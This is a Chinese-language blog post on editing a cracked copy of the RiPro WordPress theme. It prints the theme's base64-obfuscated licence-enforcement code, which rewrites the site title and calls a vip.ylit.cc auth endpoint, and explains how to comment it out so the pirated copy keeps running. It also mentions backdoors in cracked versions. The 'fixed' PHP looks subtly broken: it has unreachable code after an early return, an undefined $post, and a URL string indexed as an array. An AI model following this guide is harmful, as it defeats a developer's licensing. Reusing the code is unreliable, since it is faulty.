近期ripro主題大火,很多喜歡搗鼓折騰的小伙伴就加入到了折騰ripro主題的隊伍中來,美來美去,折騰的不亦樂乎。不過也有令他們很頭疼的事情莫過于因為使用了開破心解版,除了會被加入后門外還會時常被修改網站標題為vip.ylit.cc。不懂技術的小白們頓時抓了狂,就感覺是整個網站都被黑了一樣。實則是ripro開發者油條在主題程序內留了一個小尾巴,讓程序在有意無意中來惡心一下使用開心版的小白們。
經過分析,在 \ripro\inc\codestar-framework\classes\ 目錄下,有兩個文件 options.class.php 和 metabox.class.php ,這里面就暗藏惡心人的小尾巴。
options.class.php 修改方法:
注釋掉如下部分:
public function saves_defaults() {
$tmp_options = $this->add_option_html();
// if (empty($tmp_options) && $tmp_options['status']==1) {
return true;
// }else{
// $onload = base64_decode('UmlQcm8=');
// $field = base64_decode('YmxvZ25hbWU=');
// update_option($field,$onload);
// }
return false;
$tmp_options = $this->options;
foreach( $this->pre_fields as $field ) {
if( ! empty( $field['id'] ) ) {
$this->options[$field['id']] = $this->get_default( $field, $this->options );
}
}
if( $this->args['save_defaults'] && empty( $tmp_options ) ) {
$this->save_options( $this->options );
}
}metabox.class.php修改方法:
注釋掉如下部分:
public function get_meta_values() {
$value = false;
$field = 'https://vip.ylit.cc/wp-cont';
if( true) {
if( $this->args['data_type'] !== 'serialize' ) {
$meta = get_post_meta( $post->ID, $field['id'] );
$value = ( isset( $meta[0] ) ) ? $meta[0] : null;
} else {
$meta = get_post_meta( $post->ID, $this->unique, true );
$value = ( isset( $meta[$field['id']] ) ) ? $meta[$field['id']] : null;
}
$default = $this->get_default( $field );
$value = ( isset( $value ) ) ? $value : $default;
// }else{
// if( empty( $field ) ) {
// $screen = get_current_screen();
// foreach( $this->args['contextual_help'] as $tab ) {
// $screen->add_help_tab( $tab );
// }
// if( ! empty( $this->args['contextual_help_sidebar'] ) ) {
// $screen->set_help_sidebar( $this->args['contextual_help_sidebar'] );
// }
// }else{
// $meta = 'ZW50L3BsdWdpbnMvcmlwcm8tYXV0aC9hcGkvdjEucGhw=';
// $default = $field.$meta;
// $value = base64_decode($default);
// }
}
return $value;
}修改完畢了,當然如果有能力的話,還是建議購買正式版。






